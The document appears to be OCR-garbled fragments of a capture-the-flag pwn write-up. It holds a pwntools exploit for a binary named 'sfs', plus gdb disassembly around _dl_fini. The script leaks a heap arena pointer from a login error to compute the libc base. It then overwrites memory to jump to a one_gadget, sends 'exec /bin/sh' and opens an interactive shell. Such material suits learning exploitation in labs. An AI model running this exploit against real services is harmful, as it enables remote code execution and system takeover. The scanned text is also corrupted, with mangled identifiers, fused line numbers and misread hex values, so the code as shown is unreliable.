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1 payload = '{"name":"xxxxx","passwd":"xxxxx"}"'

2 io.sendline (payload)

3 io.recvuntil ('logger:spring login error!\nlogger:"')

4 1ib main = u64(io.recvuntil (' login', drop=True).ljust(8, '\x00'))
5print 'lib main arena is ',hex(1ib main)

6 1libc base = 1ib main - 88 - 0x3c4b20

7print 'libc base is ',hex(libc base)
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1 Ox7ffff7de7bée < dl fini+126> call qword ptr [rip + 0x2163d4] <Ox7ffff7dd7c90>
2 rdi: Ox7ffff7ffd948 ( rtld global+2312) <— 0x0

3 rsi: 0x1

4 rdx: Ox7ffff7de7af0 ( dl fini) <— push  rbp

5 rcx: Ox7ffff7f£d040 ( rtld global) — Ox7ffff7ffel68 <— 0x0

6

7 Ox7ffff7de7b74 < dl fini+132> mov ecx, dword ptr [rl12]

8 Ox7ffff7de7b78 < dl fini+136> test ecx, ecx

9 Ox7ffff7de7b7a < dl fini+138> je _dl fini+80 <0x7ffff7de7b40>

10

11 Ox7ffff7de7b7c < dl fini+140> mov rax, qword ptr [r12 - 8]
12 Ox7ffff7de7b81 < dl fini+145> movzx edx, byte ptr [rax + 0x315]
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#-*- coding:utf-8 —*-

from pwn import *

context.log level='debug'

#context (arch = 'i386', os = 'linux', log level='debug')
#context (arch = 'amd64', os = 'linux', log level='debug')
#logileveJ_:[ '"CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./sfs"

libcFileName = ""

ip = "0.0.0.0"

10 port = 10003

11

12 Debug = 0

13 1if Debug:

14 io = process (elfFileName)

15 gdb.attach (io)

16 else:

17 io = remote (ip,port)

18

19 #

20 io.recvuntil ('passwd.\n')

21 payload = '{"name":"xxxxx","passwd":"xxxxx"}"'

22 io.sendline (payload)

23 io.recvuntil ('logger:xxxxx login error!\nlogger:"')

24 1ib main = u64(io.recvuntil (' login', drop=True).ljust (8, '\x00'))
25print 'lib main arena is ',hex(lib main)

26 1ibc base = 1ib main - 88 - 0x3c4b20

27print 'libc base is ',hex(libc base)

28 #

29 target = libc base + 0x8f9f48#0x3f1000+0xf08#0x5£0£48
30 one gadget = libc base + 0xf02a4#0xf1147#0x4526a#0x45216#0xf02a4
31

32 print 'target is ',hex(target)

33 print 'one gadget is ',hex(one gadget)

34

35 sleep(0.1)

36 for i in range(3):

37 io.send(p64 (target + 1))

38 sleep(0.1)

39 io.send(p64 (one gadget) [1])

40 sleep(0.1)

41

42 #io.recv()

43 io.sendline ("exec /bin/sh")

44

45 io.interactive ()
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